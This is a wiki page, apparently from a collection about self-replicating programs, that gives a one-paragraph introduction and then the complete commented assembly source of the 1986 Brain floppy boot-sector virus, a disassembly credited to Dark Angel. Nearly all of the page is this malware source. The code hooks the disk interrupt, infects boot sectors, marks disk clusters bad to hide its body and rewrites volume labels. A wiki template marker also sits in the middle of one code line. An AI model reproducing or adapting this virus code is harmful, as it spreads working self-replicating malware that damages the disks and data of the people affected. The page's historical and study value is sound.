Self-Replicating Automata/List/Brain

Introduction

edit

Like many of the earliest virus, it is evident from the code that Brain (brain.dos.x) does not utilise any inherent system vulnerabilities to spread. Its spreading is purely dependent on well documented function calls(interrupts).

Source Code

edit

; This is the ashar variant of the classic Pakistani Brain virus. It is large
; by today's standards, although it was one of the first.  It is a floppy only
; boot sector infector.

brain           segment byte public
                assume  cs:brain, ds:brain

; Disassembly done by Dark Angel
		org	0

                cli
                jmp     entervirus
idbytes         db       34h, 12h
firsthead       db      0
firstsector     dw      2707h
curhead         db      0
cursector       dw      1
                db      0, 0, 0, 0
                db      'Welcome to the  Dungeon         '
copyright	db	'(c) 1986 Brain'
                db      17h
		db	'& Amjads (pvt) Ltd   VIRUS_SHOE '
		db	' RECORD   v9.0   Dedicated to th'
		db	'e dynamic memories of millions o'
		db	'f virus who are no longer with u'
		db	's today - Thanks GOODNESS!!     '
                db      '  BEWARE OF THE er..VIRUS  : \th'
		db	'is program is catching      prog'
		db	'ram follows after these messeges'
		db	'..... $'
		db	'#@%$'
		db	'@!! '
entervirus:
		mov	ax,cs
                mov     ds,ax                   ; ds = 0
                mov     ss,ax                   ; set stack to after
                mov     sp,0F000h               ; virus
                sti
                mov     al,ds:[7C00h+offset firsthead]
                mov     ds:[7C00h+offset curhead],al
                mov     cx,ds:[7C00h+offset firstsector]
                mov     ds:[7C00h+offset cursector],cx
                call    calcnext
                mov     cx,5                    ; read five sectors
                mov     bx,7C00h+200h           ; after end of virus

loadnext:
                call    readdisk
                call    calcnext
		add	bx,200h
                loop    loadnext

                mov     ax,word ptr ds:[413h]   ; Base memory size in Kb
                sub     ax,7                    ; - 7 Kb
                mov     word ptr ds:[413h],ax   ; Insert as new value
		mov	cl,6
                shl     ax,cl                   ; Convert to paragraphs
		mov	es,ax
                mov     si,7C00h                ; Copy from virus start
                mov     di,0                    ; to start of memory
                mov     cx,1004h                ; Copy 1004h bytes
                cld
                rep     movsb
		push	es
		mov	ax,200h
		push	ax
                retf                            ; return to old boot sector

readdisk:
		push	cx
		push	bx
                mov     cx,4                    ; Try 4 times

tryread:
		push	cx
                mov     dh,ds:[7C00h+offset curhead]
                mov     dl,0                    ; Read sector from default
                mov     cx,ds:[7C00h+offset cursector]
                mov     ax,201h                 ; Disk to memory at es:bx
                int     13h
                jnc     readOK
                mov     ah,0                    ; Reset disk
                int     13h                     ; (force read track 0)
		pop	cx
                loop    tryread

                int     18h                     ; ROM basic on failure
readOK:
		pop	cx
		pop	bx
		pop	cx
		retn

calcnext:
                mov     al,byte ptr ds:[7C00h+offset cursector]
		inc	al
                mov     byte ptr ds:[7C00h+offset cursector],al
		cmp	al,0Ah
                jne     donecalc
                mov     byte ptr ds:[7C00h+offset cursector],1
                mov     al,ds:[7C00h+offset curhead]
		inc	al
                mov     ds:[7C00h+offset curhead],al
		cmp	al,2
                jne     donecalc
                mov     byte ptr ds:[7C00h+offset curhead],0
                inc     byte ptr ds:[7C00h+offset cursector+1]
donecalc:
		retn

; the following is a collection of garbage bytes
                db       00h, 00h, 00h, 00h, 32h,0E3h
                db       23h, 4Dh, 59h,0F4h,0A1h, 82h
                db      0BCh,0C3h, 12h, 00h, 7Eh, 12h
                db      0CDh, 21h,0A2h, 3Ch, 5Fh
a_data          dw      050Ch
; Second part of the virus begins here
                jmp     short entersecondpart
                db      '(c) 1986 Brain & Amjads (pvt) Ltd ',0
readcounter     db      4                       ; keep track of # reads
curdrive        db      0
int13flag       db      0

entersecondpart:
                mov     cs:readcounter,1Fh
                xor     ax,ax
                mov     ds,ax                   ; ds -> interrupt table
                mov     ax,ds:[13h*4]
                mov     ds:[6Dh*4],ax
                mov     ax,ds:[13h*4+2]
                mov     ds:[6Dh*4+2],ax
                mov     ax,offset int13         ; 276h
                mov     ds:[13h*4],ax
		mov	ax,cs
                mov     ds:[13h*4+2],ax
                mov     cx,4                    ; 4 tries
                xor     ax,ax
                mov     es,ax                   ; es -> interrupt table

tryreadbootsector:
		push	cx
                mov     dh,cs:firsthead
		mov	dl,0
                mov     cx,cs:firstsector
                mov     ax,201h                 ; read from default disk
		mov	bx,7C00h
                int     6Dh                     ; int 13h
                jnc     readbootOK
		mov	ah,0
                int     6Dh                     ; int 13h
		pop	cx
                loop    tryreadbootsector

                int     18h                     ; ROM basic on failure
readbootOK:                                     ; return control to
                                                ; original boot sector
;*              jmp     far ptr 0000:7C00h
		db	0EAh, 00h, 7Ch, 00h, 00h
                nop                             ; MASM NOP!!!
int13:
                sti
                cmp     ah,2                    ; if not read request,
                jne     doint13                 ; do not go further
                cmp     dl,2                    ; if after second floppy,
                ja      doint13                 ; do not go further
                cmp     ch,0                    ; if not reading boot sector,
                jne     regularread             ; go handle as usual
                cmp     dh,0                    ; if boot sector,
                je      readboot                ; do I<-/>/\|> stuff
regularread:
                dec     cs:readcounter          ; Infect after 4 reads
                jnz     doint13                 ; If counter still OK, don't
                                                ; do anything else
                jmp     short readboot          ; Otherwise, try to infect
doint13:
                jmp     exitint13h
readboot:
; FINISH THIS!
                mov     cs:int13flag,0          ; clear flag
                mov     cs:readcounter,4        ; reset counter
		push	ax
		push	bx
		push	cx
		push	dx
                mov     cs:curdrive,dl
		mov	cx,4

tryreadbootblock:
		push	cx
                mov     ah,0                    ; Reset disk
                int     6Dh
                jc      errorreadingbootblock   ; Try again
                mov     dh,0
		mov	cx,1
                mov     bx,offset readbuffer    ; buffer @ 6BEh
		push	es
		mov	ax,cs
		mov	es,ax
		mov	ax,201h
                int     6Dh                     ; Read boot sector
		pop	es
                jnc     continuestuff           ; continue if no error
errorreadingbootblock:
                pop     cx
                loop    tryreadbootblock

                jmp     short resetdisk         ; too many failures
                nop
continuestuff:
                pop     cx                      ; get system id in boot block
                mov     ax,word ptr cs:[offset readbuffer+4]
                cmp     ax,1234h                ; already infected?
                jne     dodisk                  ; if not, infect it
                mov     cs:int13flag,1          ; flag prev. infection
                jmp     short noreset
dodisk:
		push	ds
		push	es
		mov	ax,cs
		mov	ds,ax
		mov	es,ax
		push	si
                call    writevirus              ; infect the disk
                jc      failme                  ; exit on failure
                mov     cs:int13flag,2          ; flag success
                call    changeroot              ; manipulate volume label
failme:
		pop	si
		pop	es
		pop	ds
                jnc     noreset                 ; don't reset on success
resetdisk:
                mov     ah,0                    ; reset disk
                int     6Dh                     ; int 13h
noreset:
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		cmp	cx,1
                jne     exitint13h
		cmp	dh,0
                jne     exitint13h
                cmp     cs:int13flag,1          ; already infected?
                jne     wasntinfected           ; if wasn't, go elsewhere
                mov     cx,word ptr cs:[offset readbuffer+7]
                mov     dx,word ptr cs:[offset readbuffer+5]
                mov     dl,cs:curdrive          ; otherwise, read real
                jmp     short exitint13h        ; boot sector
wasntinfected:
                cmp     cs:int13flag,2          ; successful infection?
                jne     exitint13h              ; if not, just do call
                mov     cx,cs:firstsector
                mov     dh,cs:firsthead
exitint13h:
                int     6Dh                     ; int 13h
                retf    2
		db	15 dup (0)

FATManip:                                       ; returns al as error code
                jmp     short delvedeeper
                nop
FATManipreadcounter dw      3
                db      ' (c) 1986 Brain & Amjads (pvt) Ltd'
delvedeeper:
                call    readFAT                 ; Get FAT ID byte
                mov     ax,word ptr ds:[offset readbuffer]
                cmp     ax,0FFFDh               ; is it 360K disk?
                je      is360Kdisk              ; continue if so
                mov     al,3                    ; al=3 == not good disk
                stc                             ; flag error
                retn                            ; and exit
is360Kdisk:
		mov	cx,37h
                mov     FATManipreadcounter,0   ; none found yet
checknextsector:
                call    FATentry12bit           ; get entry in FAT
                cmp     ax,0                    ; unused?
                jne     notunused
                inc     FATManipreadcounter     ; one more found unused
                cmp     FATManipreadcounter,3   ; If need more,
                jne     tryanother              ;  go there
                jmp     short markembad         ; found 3 consecutive
                nop                             ; empty sectors
notunused:
                mov     FATManipreadcounter,0   ; must start over
tryanother:
                inc     cx                      ; try next sector
                cmp     cx,163h                 ; end of disk?
                jne     checknextsector         ; if not, continue
                mov     al,1                    ; al=1 == none empty
                stc                             ; Indicate error
		retn
markembad:
                mov     dl,3                    ; 3 times
markanotherbad:
                call    markbad12bit
		dec	cx
		dec	dl
                jnz     markanotherbad
		inc	cx
                call    calc1sttrack
                call    writeFAT                ; update FAT
                mov     al,0                    ; al=0 == ok
                clc                             ; indicate success
		retn

markbad12bit:
                push    cx
		push	dx
                mov     si,offset readbuffer    ; si -> buffer
		mov	al,cl
                shr     al,1
                jc      low_12                  ; low bits
                call    clus2offset12bit
                mov     ax,[bx+si]              ; get FAT entry
                and     ax,0F000h               ; mark it bad
		or	ax,0FF7h
                jmp     short putitback         ; and put it back
                nop
low_12:
                call    clus2offset12bit
                mov     ax,[bx+si]              ; get FAT entry
                and     ax,0Fh                  ; mark it bad
		or	ax,0FF70h
putitback:
                mov     [bx+si],ax              ; replace FAT entry
                mov     word ptr ds:[400h][bx+si],ax ; in two places
		pop	dx
		pop	cx
		retn

FATentry12bit:
		push	cx
                mov     si,offset readbuffer    ; si->buffer
		mov	al,cl
                shr     al,1
; Part 3 of the virus starts here
                jc      want_high_12
                call    clus2offset12bit
		mov	ax,[bx+si]
                and     ax,0FFFh
                jmp     short exitFATentry12bit
                nop
want_high_12:
                call    clus2offset12bit        ; xxxxxxxxxxxx0000
                mov     ax,[bx+si]              ; ^^^^^^^^^^^^wanted
                and     ax,0FFF0h               ; mask wanted bits
                mov     cl,4                    ; and move to correct
                shr     ax,cl                   ; position
exitFATentry12bit:
		pop	cx
		retn

clus2offset12bit:
		push	dx
                mov     ax,3
                mul     cx
                shr     ax,1                    ; ax = cx*1.5
		mov	bx,ax
		pop	dx
		retn

readFAT:
                mov     ah,2                    ; read
                call    FAT_IO
		retn

writeFAT:
                mov     ah,3                    ; write
                call    FAT_IO
		retn

FAT_IO:
                mov     cx,4                    ; try four times
FAT_IOLoop:
		push	cx
		push	ax
                mov     ah,0                    ; reset disk
                int     6Dh                     ; int 13h
		pop	ax
                jc      tryFAT_IOagain
                mov     bx,offset readbuffer
                mov     al,4                    ; 4 sectors
                mov     dh,0                    ; head 0
                mov     dl,curdrive
                mov     cx,2                    ; sector 2
                push    ax                      ; (FAT)
                int     6Dh                     ; int 13h
		pop	ax
                jnc     exitFAT_IO
tryFAT_IOagain:
		pop	cx
                loop    FAT_IOLoop

		pop	ax
		pop	ax
		mov	al,2
                stc                             ; mark error
		retn
exitFAT_IO:
		pop	cx
		retn

calc1sttrack:
		push	cx
                sub     cx,2
                shl     cx,1                    ; 2 sectors/cluster
                add     cx,0Ch                  ; start of data area
                mov     ax,cx                   ; ax = sector
                mov     cl,12h                  ; 4096
                div     cl                      ; ax/4096 = al rem ah
                mov     byte ptr firstsector+1,al
                mov     firsthead,0
		inc	ah
                cmp     ah,9                    ; past track 9?
                jbe     notpasttrack9           ; nope, we are ok
                sub     ah,9                    ; otherwise, adjust
                mov     firsthead,1
notpasttrack9:
                mov     byte ptr firstsector,ah
		pop	cx
		retn

                db      0, 0, 0, 0, 0, 0
r_or_w_root     db      3
entrycount      dw      35h

tempsave1       dw      303h
tempsave2       dw      0EBEh
tempsave3       dw      1
tempsave4       dw      100h
		db	0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
		db	 8Dh, 98h, 9Fh, 8Eh,0E0h
		db	' (c) ashar $'
changeroot:
                call    readroot{{typo help inline|reason=similar to breadroot|date=August 2022}}                ; read in root directory
                jc      donotchangeroot
		push	di
                call    changevolume            ; change volume label
		pop	di
                jc      donotchangeroot
                call    writeroot               ; write back new root dir
donotchangeroot:
		retn
; The following is just garbage bytes
		db	0BBh, 9Bh, 04h,0B9h, 0Bh
                db      0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
                db      0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
                db      0C6h, 06h

changevolume:
                mov     entrycount,6Ch
                mov     si,offset readbuffer+40h; 3nd dir entry
                mov     tempsave1,dx
                mov     ax,entrycount           ; 6Ch
                shr     ax,1
                mov     tempsave3,ax            ; 36h
                shr     ax,1
                mov     tempsave2,ax            ; 1Bh
                xchg    ax,cx
                and     cl,43h                  ; cx = 3
                mov     di,tempsave2
                add     di,1E3h                 ; di = 01FE
findlabel:
		mov	al,[si]
		cmp	al,0
                je      dolabel                 ; no mo entries
                mov     al,[si+0Bh]             ; attribute byte
                and     al,8                    ; volume label?
                cmp     al,8                    ; yes?
                je      dolabel                 ; then change it!
                add     si,20h                  ; go to next directory entry
                dec     entrycount
                jnz     findlabel               ; loop back
                stc                             ; Error!
		retn
		db	8Bh
dolabel:
                mov     bx,[di]                 ; offset a_data
                xor     bx,tempsave3            ; bx = 53Ah
                mov     tempsave3,si            ; si->direntry
                cli
		mov	ax,ss
                mov     tempsave1,ax
                mov     tempsave2,sp
		mov	ax,cs
		mov	ss,ax
                mov     sp,tempsave3
                add     sp,0Ch                  ;->reserved area
                mov     cl,51h
		add	dx,444Ch
                mov     di,2555h
		mov	cx,0C03h
                repe    cmpsw
                mov     ax,0B46h
		mov	cx,3
                rol     ax,cl                   ; ax = 5A30h
                mov     tempsave3,ax
		mov	cx,5
		mov	dx,8
                sub     tempsave3,5210h         ; 820h
                push    tempsave3               ; store attributes/reserved
; I haven't commented the remainder of this procedure.
; It basically changes the volume label to read "(c) Brain"

; Comment mode OFF

dowhatever:
                mov     ah,[bx]                 ; 5a3h
		inc	bx
                mov     dl,ah
                shl     dl,1
                jc      dowhatever
searchstuff:
                mov     dl,[bx]                 ; dl=C2h
                inc     bx                      ; bx=53Eh
                mov     al,dl
                shl     dl,1
                jc      searchstuff
		add	ax,1D1Dh
		push	ax
                inc     tempsave3
                db       73h, 01h               ; jnc $+3
                db      0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
                xchg    bp,ax
                add     al,0A1h
                xchg    bx,ax
                add     al,8Eh
                sar     bl,1
                add     dh,[bp+si]
                clc
                ret
                ;db       95h, 04h,0A1h, 93h, 04h, 8Eh
                ;db      0D0h,0FBh, 02h, 32h,0F8h,0C3h

; Comment mode ON

readroot:
                mov     r_or_w_root,2           ; set action code
                jmp     short do_rw_root        ; easier to do w/
                nop                             ; mov ah, 2
writeroot:
                mov     r_or_w_root,3
                jmp     short do_rw_root        ; this is somewhat useless
                nop
do_rw_root:
                mov     dh,0                    ; head 0
                mov     dl,curdrive
                mov     cx,6                    ; sector 6
                mov     ah,r_or_w_root
                mov     al,4                    ; 4 sectors
                mov     bx,offset readbuffer
                call    doint13h
                jc      exit_rw_root            ; quit on error
		mov	cx,1
                mov     dh,1                    ; head 1
                mov     ah,r_or_w_root
		mov	al,3
		add	bx,800h
                call    doint13h

exit_rw_root:
                retn

doint13h:
                mov     tempsave1,ax
                mov     tempsave2,bx
                mov     tempsave3,cx
                mov     tempsave4,dx
		mov	cx,4

doint13hloop:
		push	cx
                mov     ah,0                    ; Reset disk
                int     6Dh
                jc      errordoingint13h
                mov     ax,tempsave1
                mov     bx,tempsave2
                mov     cx,tempsave3
                mov     dx,tempsave4
                int     6Dh                     ; int 13h
                jnc     int13hsuccess
errordoingint13h:
		pop	cx
                loop    doint13hloop

                stc                             ; indicate error
		retn
int13hsuccess:
		pop	cx
		retn

		db	0, 0, 0
; Part 4 of the virus starts here
tempstorecx     dw      3
readwritecurrentdata    dw      301h

writevirus:
                call    FATManip
                jc      exitwritevirus
                mov     cursector,1
                mov     curhead,0
                mov     bx,offset readbuffer
                call    readcurrent
                mov     bx,offset readbuffer
                mov     ax,firstsector
                mov     cursector,ax
                mov     ah,firsthead
                mov     curhead,ah
                call    writecurrent
                call    calcnextsector
		mov	cx,5
		mov	bx,200h
writeanothersector:
                mov     tempstorecx,cx
                call    writecurrent
                call    calcnextsector
		add	bx,200h
                mov     cx,tempstorecx
                loop    writeanothersector

                mov     curhead,0
                mov     cursector,1
		mov	bx,0
                call    writecurrent
                clc                             ; indicate success
exitwritevirus:
		retn


readcurrent:
                mov     readwritecurrentdata,201h
                jmp     short doreadwrite
                nop
writecurrent:
                mov     readwritecurrentdata,301h
                jmp     short doreadwrite       ; This is pointless.
                nop
doreadwrite:
		push	bx
		mov	cx,4

tryreadwriteagain:
		push	cx
                mov     dh,curhead
                mov     dl,curdrive
                mov     cx,cursector
                mov     ax,readwritecurrentdata ; read or write?
                int     6Dh                     ; int 13h
                jnc     readwritesuccessful
                mov     ah,0                    ; reset disk
                int     6Dh                     ; int 13h
		pop	cx
                loop    tryreadwriteagain

		pop	bx
		pop	bx
                stc                             ; Indicate error
		retn
readwritesuccessful:
		pop	cx
		pop	bx
		retn


calcnextsector:
                inc     byte ptr cursector      ; next sector
                cmp     byte ptr cursector,0Ah
                jne     donecalculate           ; finished calculations
                mov     byte ptr cursector,1    ; clear sector #
                inc     curhead                 ; and go to next head
                cmp     curhead,2               ; if not too large,
                jne     donecalculate           ; we are done
                mov     curhead,0               ; otherwise clear head #
                inc     byte ptr cursector+1    ; and advance cylinder
donecalculate:
		retn

		db	 64h, 74h, 61h

; read buffer starts here
; insert your favorite boot block below...
readbuffer:
brain           ends
                end

edit